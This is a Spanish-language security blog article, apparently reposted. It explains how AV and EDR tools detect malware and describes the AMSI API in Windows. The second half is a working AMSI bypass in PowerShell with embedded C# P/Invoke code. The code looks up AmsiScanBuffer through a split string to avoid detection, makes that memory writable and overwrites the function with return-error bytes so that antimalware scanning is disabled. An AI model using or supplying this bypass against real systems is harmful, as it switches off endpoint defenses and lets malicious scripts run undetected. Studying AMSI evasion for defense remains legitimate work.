En este artículo estaremos viendo el concepto de AMSI, su funcionamiento y como se puede evadir parcheando una de sus funciones. Antes de entrar con este tema, vamos a ver la diferencia principal entre un AV (Antivirus) y un EDR (Endpoint Detection and Response) además de los métodos de detección que usan.
AV vs EDR
Un AV como todos sabemos, escanea el sistema con el fin de detectar y eliminar software malicioso. El AV para lograr este fin, escaneará archivos y procesos en busca de patrones conocidos de código malicioso. En el caso de encontrar algo raro, lo elimina o lo pone en cuarentena.
Por otro lado, el EDR es mas avanzado, ya que detecta y responde a las posibles amenazas en tiempo real. Además, a diferencia de un AV, que se enfoca principalmente en la detección y eliminación de malware conocido, un EDR puede detectar amenazas desconocidas usando técnicas de inteligencia artificial y machine learning.
En conclusión, un AV se enfoca en la detección y eliminación de malware conocido, mientras que un EDR se enfoca en la detección y respuesta en tiempo real a amenazas desconocidas utilizando técnicas de inteligencia artificial y machine learning.
Métodos de detección de los AV/EDR
Antiguamente, los AV solían esperar a que un archivo se escribiera en el disco o a que se creara un nuevo
proceso antes de iniciar cualquier acción. Sin embargo, los métodos de detección actuales de los AV o EDR son
más avanzados e incluyen:
- Detección basada en firmas: Este método compara patrones, cadenas, firmas o hashes de
una base de datos de malware conocido. - Detección heurística: Este tipo de detección busca comandos o instrucciones que no se encuentran normalmente en una aplicación y que tienen intenciones maliciosas, similar a la detección basada en firmas.
- Detección basada en el comportamiento: A diferencia de la detección basada en heurística este método implica que el EDR esté en busca de eventos creados por el programa, como intentos de modificar archivos críticos o generar cmd.exe, así como llamar a una secuencia de funciones que podrían indicar un potencial vector de inyección de procesos.
- Detección Sandbox: En este tipo de detección, el programa se ejecuta en un entorno virtualizado (sandbox) y su comportamiento se registra y analiza en el sandbox o manualmente por un analista de malware. Esto permite al EDR ver en detalle lo que hará el archivo en ese entorno concreto. De hecho, algunos malwares están diseñados para, antes de su ejecución, comprobar si se encuentran en una sandbox o no, para que, en el caso de que se encuentren, no se ejecuten.
Independientemente del método de detección utilizado, es más fácil que los AV o EDR detecten el malware mientras que el binario está en el disco. La detección de malware fileless (en memoria) es más difícil de detectar.
Introducción a AMSI
Con el lanzamiento de Windows 10, Microsoft introdujo AMSI, una interfaz de programación de aplicaciones (API) que permite la detección de malware en una amplia variedad de lenguajes de programación, incluyendo PowerShell. AMSI actúa como un puente que conecta las aplicaciones con el software antivirus. Cada comando, macro o script que se ejecute en PowerShell, o en cualquier otro lenguaje de programación compatible con AMSI, es enviado al software antivirus a través de AMSI para su análisis.



Funciones de amsi.dll
AmsiInitialize: El programa utiliza esta función para inicializar la interfaz AMSI en una aplicación de Windows. La función toma como entrada el nombre de la aplicación que está inicializando AMSI, y devuelve un identificador de sesión que se utiliza para identificar la sesión de escaneo de malware de la aplicación.
HRESULT AmsiInitialize(
LPCWSTR appName,
HAMSICONTEXT *amsiContext
);
AmsiOpenSession: Toma el contexto que se devolvió de la llamada anterior y permite cambiar a esa sesión. Podemos alojar múltiples sesiones de AMSI si queremos.
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
AmsiScanString: Toma nuestro string y devuelve el resultado, es decir, 1 si la string esta limpia y 32768 si la string es maliciosa.
HRESULT AmsiScanString(
HAMSICONTEXT amsiContext,
LPCWSTR string,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
AmsiScanBuffer: Similar a AmsiScanString(), esta función coge el buffer en lugar de la string y devuelve el resultado.
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
AmsiCloseSession: Esta función simplemente cierra la sesión que fue abierta por el programa previamente usando AmsiOpenSession().
void AmsiCloseSession(
HAMSICONTEXT amsiContext,
HAMSISESSION amsiSession
);
Hemos visto un poco por encima las funciones de la API que usa AMSI, pero nosotros nos centraremos concretamente en las funciones AmsiScanString() y AmsiScanBuffer().
Ofuscación
La ofuscación es una técnica utilizada por los atacantes para dificultar el análisis de su código al AV. Esto se hace normalmente mediante el uso de diversas transformaciones de código que hacen que sea más difícil entender la intención del código, pero sin cambiar su funcionalidad.
Por ejemplo, un atacante puede usar técnicas como encriptación del código, renombramiento de variables y división del código para dificultar entender la funcionalidad del mismo.
AMSI envía el contenido al AV para determinar si es malicioso, por lo que si el contenido está ofuscado el AV no puede detectar si es malicioso.

Parcheando la función AmsiScanBuffer() de amsi.dll
Este método parchea la función AmsiScanBuffer(). La librería amsi.dll se carga en el mismo espacio de memoria virtual, por lo que tenemos un control casi completo sobre ese espacio de direcciones.
Esta función es similar a AmsiScanString, pero en lugar de escanear una cadena de caracteres, escanea un búfer de memoria en busca de contenido malicioso. Esto es útil para analizar archivos o fragmentos de código en memoria que no están representados como cadenas de caracteres.
Recordatorio del funcionamiento de AmsiScanBuffer()
Echemos un vistazo a las llamadas a la API AMSI que powershell hace con la ayuda de FridaTools. Cuando iniciamos una sesión en Frida, esta crea archivos handler que podemos modificar para imprimir argumentos y resultados en tiempo de ejecución. En nuestro caso editaremos el siguiente archivo:
- C:\Users\User__handlers__\amsi.dll\AmsiScanBuffer.js






- mov eax, 80070057h; ret
Esto con el fin de que cuando AmsiScanBuffer() sea llamada, devuelva el código de error en lugar de realizar el escaneo AMSI. El byte que corresponde a estas instrucciones es b857000780.
Para parchear la función AmsiScanBuffer() usaremos las siguientes API calls:
- LoadLibrary: Para cargar la DLL amsi.dll en el espacio de direcciones.
- GetProcAddress: Para obtener la dirección de memoria de AmsiScanBuffer().
- VirtualProtect: Para agregar permisos de escritura a la región de memoria, ya que por defecto tiene permisos RX. Necesitamos dar permisos de escritura para poder sobreescribir las instrucciones que mencionamos anteriormente y después volveremos a poner la región de memoria como RX.
Para poder llamar a estas API calls, tenemos que hacer uso de pinvoke. Primero necesitamos definir estos métodos con
C# usando esta herramienta (que nos permite llamar a API no gestionadas en código gestionado) y luego cargar el código C# en la sesión de powershell usando add-type.
Antes de nada, la diferencia entre un código gestionado y no gestionado es la siguiente:
El código gestionado es aquel que se ejecuta bajo un entorno controlado por un administrador de ejecución, como .NET Framework o .NET Core. Este entorno maneja automáticamente aspectos clave, como la asignación de memoria, la recolección de basura y la seguridad. El código gestionado generalmente se escribe en lenguajes de alto nivel como C# o Visual Basic .NET y ofrece una mayor abstracción y facilidad de uso para los desarrolladores.
Código gestionado
El código no gestionado, en cambio, se ejecuta directamente en el sistema operativo sin la intervención de un administrador de ejecución. Este tipo de código suele estar escrito en lenguajes de bajo nivel como C o C++ y se utiliza para interactuar directamente con los recursos del sistema operativo. El manejo de la memoria, la seguridad y otros aspectos es responsabilidad del desarrollador en el caso del código no gestionado.
Código no gestionado
Dicho esto, el siguiente código hace uso de pinvoke para implementar llamadas a la API:

$code = @"
using System;
using System.Runtime.InteropServices;
public class WinApi {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out int lpflOldProtect);
}"@
En este código, cargamos las funciones que usaremos.
System.Runtime.InteropServices es donde se implementa pinvoke. Después definimos la firma para cada API nativa.
- Add-Type $code
Añadimos el código a la sesión de powershell con Add-Type. Una vez hecho esto, ya podremos usar las API calls que hemos implementado en la sesión de powershell. Ahora, introducimos lo siguiente:

$amsiDll = ::LoadLibrary("amsi.dll")
$asbAddr = ::GetProcAddress($amsiDll,"Ams"+"iScan"+"Buf"+"fer")
$a = 0xB8
$b = 0x57
$c = 0x00
$d = 0x07
$e = 0x80
$f = 0xC3
$ret = ( $a,$b,$c,$d,$e,$f )
$out = 0
Al ejecutar este bloque de código en powershell lo que estamos haciendo es:
- Primero obtenemos el handle de la librería amsi.dll y luego llamamos a GetProcAddress() para obtener la dirección de la función AmsiScanBuffer dentro de amsi.dll.
- Definimos una variable llamada $ret que contiene los bytes que sobrescribirán las primeras instrucciones de AmsiScanBuffer(), $out es lo que contendrá el antiguo permiso de la región de memoria devuelto por VirtualProtect.

[WinApi]::VirtualProtect($asbAddr, $ret.Length, 0x40, $out)
[System.Runtime.InteropServices.Marshal]::Copy($ret, 0, $asbAddr, $ret.Length)
[WinApi]::VirtualProtect($asbAddr, $ret.Length, $out, $null)
Ahora, en el código de arriba, estamos llamando a la función VirtualProtect() para cambiar el permiso de la región de memoria de AmsiScanBuffer() a RWX(0x40) y luego usamos Marshal.Copy para copiar los bytes de la región de memoria gestionada a una no gestionada. Después llamamos a VirtualProtect() de nuevo para cambiar los permisos de AmsiScanBuffer() a los permisos que hemos almacenado en $out.





原文始发于MIGUEL ÁNGEL CORTÉS :Parcheando AmsiScanBuffer – AMSI ByPass